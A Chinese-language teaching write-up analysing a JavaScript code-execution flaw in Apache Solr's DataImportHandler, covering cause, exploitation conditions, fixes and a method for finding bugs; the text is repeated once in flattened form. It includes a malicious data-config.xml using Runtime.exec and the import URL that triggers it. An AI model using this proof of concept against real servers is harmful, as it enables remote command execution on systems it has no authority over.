论如何从发现者视角看 apache solr 的 js 代码执行漏洞
字数 1390 2025-08-29 08:30:18

Apache Solr JavaScript 代码执行漏洞分析教学文档

漏洞概述

本教学文档将详细分析Apache Solr中存在的JavaScript代码执行漏洞,从发现者视角剖析漏洞原理、利用条件和修复方案。

漏洞背景

Apache Solr是一个基于Lucene的开源搜索平台,提供RESTful API接口。该漏洞存在于Solr的DataImportHandler(DIH)组件中,允许攻击者在特定配置下执行任意JavaScript代码。

漏洞原理

DataImportHandler工作机制

DataImportHandler是Solr用于从数据库或其他数据源导入数据的组件,支持以下功能:

  • 全量导入:完整导入数据
  • 增量导入:仅导入变更数据
  • 通过脚本(JavaScript、JRuby等)转换数据

漏洞触发点

漏洞存在于脚本转换功能中,具体在:

  • ScriptTransformer类处理JavaScript脚本时
  • 使用javax.script.ScriptEngine执行JavaScript代码
  • 未对脚本内容进行安全限制

漏洞利用条件

  1. Solr配置中启用了DataImportHandler
  2. 数据导入配置中使用了script转换器
  3. 攻击者能够控制数据源或直接修改DIH配置

详细分析

代码执行路径

  1. 请求处理流程

    • 请求到达DataImportHandler
    • 解析data-config.xml中的脚本配置
    • 通过ScriptTransformer执行脚本
  2. 关键代码

    // ScriptTransformer.java
    protected Object evaluate(String script, Map<String, Object> namespace) {
        ScriptEngine scriptEngine = getScriptEngine();
        // 直接将用户输入作为脚本执行
        return scriptEngine.eval(script, new SimpleBindings(namespace));
    }
    
  3. JavaScript引擎特性

    • 使用Nashorn JavaScript引擎
    • 可访问Java类和方法的完整功能
    • 无沙箱限制

攻击向量

攻击者可通过以下方式注入恶意脚本:

  1. 直接修改data-config.xml

    <script><![CDATA[
        java.lang.Runtime.getRuntime().exec("恶意命令");
    ]]></script>
    
  2. 通过可控数据源注入

    • 如果数据源中的字段值会被作为脚本执行
    • 构造包含恶意脚本的数据记录

漏洞验证

环境搭建

  1. 下载存在漏洞的Solr版本(如5.3.0)
  2. 创建核心并启用DataImportHandler
  3. 配置包含脚本转换器的data-config.xml

验证步骤

  1. 准备恶意配置:

    <dataConfig>
      <script><![CDATA[
        function attack() {
          java.lang.Runtime.getRuntime().exec("calc.exe");
        }
      ]]></script>
      <document>
        <entity name="test" query="SELECT 1">
          <field column="test" script="attack()"/>
        </entity>
      </document>
    </dataConfig>
    
  2. 触发数据导入:

    http://solr-server:8983/solr/core-name/dataimport?command=full-import
    
  3. 观察命令执行结果

修复方案

官方修复

  1. 限制脚本引擎功能:

    • 使用ClassFilter限制可访问的Java类
    • 禁用危险方法调用
  2. 配置建议:

    • 禁用不必要的脚本功能
    • 严格限制DIH配置修改权限

临时缓解措施

  1. 禁用DataImportHandler:

    <requestHandler name="/dataimport" class="solr.DataImportHandler">
      <lst name="defaults">
        <str name="config">/dev/null</str>
      </lst>
    </requestHandler>
    
  2. 限制网络访问:

    • 仅允许可信IP访问管理接口

深入思考

漏洞发现方法论

  1. 功能点分析

    • 识别所有接受外部输入的组件
    • 特别关注脚本执行、表达式解析等功能
  2. 权限边界检查

    • 验证每个功能的默认权限要求
    • 检查是否存在权限绕过可能
  3. 数据流追踪

    • 从用户输入点到最终执行点
    • 识别所有可能的注入路径

类似漏洞模式

  1. 其他脚本引擎

    • JRuby、Groovy等脚本引擎的类似问题
    • 表达式语言注入(OGNL、SpEL等)
  2. 配置注入

    • XML外部实体注入
    • JSON/YAML解析问题

总结

本漏洞展示了在提供强大功能的同时如何引入安全风险。关键教训包括:

  1. 任何脚本执行功能都需要严格沙箱限制
  2. 管理接口必须实施强认证和授权
  3. 默认配置应遵循最小权限原则

通过深入分析此类漏洞,安全研究人员可以培养发现复杂漏洞所需的系统性思维和方法论。

Apache Solr JavaScript 代码执行漏洞分析教学文档 漏洞概述 本教学文档将详细分析Apache Solr中存在的JavaScript代码执行漏洞,从发现者视角剖析漏洞原理、利用条件和修复方案。 漏洞背景 Apache Solr是一个基于Lucene的开源搜索平台,提供RESTful API接口。该漏洞存在于Solr的DataImportHandler(DIH)组件中,允许攻击者在特定配置下执行任意JavaScript代码。 漏洞原理 DataImportHandler工作机制 DataImportHandler是Solr用于从数据库或其他数据源导入数据的组件,支持以下功能: 全量导入:完整导入数据 增量导入:仅导入变更数据 通过脚本(JavaScript、JRuby等)转换数据 漏洞触发点 漏洞存在于脚本转换功能中,具体在: ScriptTransformer 类处理JavaScript脚本时 使用 javax.script.ScriptEngine 执行JavaScript代码 未对脚本内容进行安全限制 漏洞利用条件 Solr配置中启用了DataImportHandler 数据导入配置中使用了 script 转换器 攻击者能够控制数据源或直接修改DIH配置 详细分析 代码执行路径 请求处理流程 : 请求到达 DataImportHandler 解析 data-config.xml 中的脚本配置 通过 ScriptTransformer 执行脚本 关键代码 : JavaScript引擎特性 : 使用Nashorn JavaScript引擎 可访问Java类和方法的完整功能 无沙箱限制 攻击向量 攻击者可通过以下方式注入恶意脚本: 直接修改data-config.xml : 通过可控数据源注入 : 如果数据源中的字段值会被作为脚本执行 构造包含恶意脚本的数据记录 漏洞验证 环境搭建 下载存在漏洞的Solr版本(如5.3.0) 创建核心并启用DataImportHandler 配置包含脚本转换器的data-config.xml 验证步骤 准备恶意配置: 触发数据导入: 观察命令执行结果 修复方案 官方修复 限制脚本引擎功能: 使用 ClassFilter 限制可访问的Java类 禁用危险方法调用 配置建议: 禁用不必要的脚本功能 严格限制DIH配置修改权限 临时缓解措施 禁用DataImportHandler: 限制网络访问: 仅允许可信IP访问管理接口 深入思考 漏洞发现方法论 功能点分析 : 识别所有接受外部输入的组件 特别关注脚本执行、表达式解析等功能 权限边界检查 : 验证每个功能的默认权限要求 检查是否存在权限绕过可能 数据流追踪 : 从用户输入点到最终执行点 识别所有可能的注入路径 类似漏洞模式 其他脚本引擎 : JRuby、Groovy等脚本引擎的类似问题 表达式语言注入(OGNL、SpEL等) 配置注入 : XML外部实体注入 JSON/YAML解析问题 总结 本漏洞展示了在提供强大功能的同时如何引入安全风险。关键教训包括: 任何脚本执行功能都需要严格沙箱限制 管理接口必须实施强认证和授权 默认配置应遵循最小权限原则 通过深入分析此类漏洞,安全研究人员可以培养发现复杂漏洞所需的系统性思维和方法论。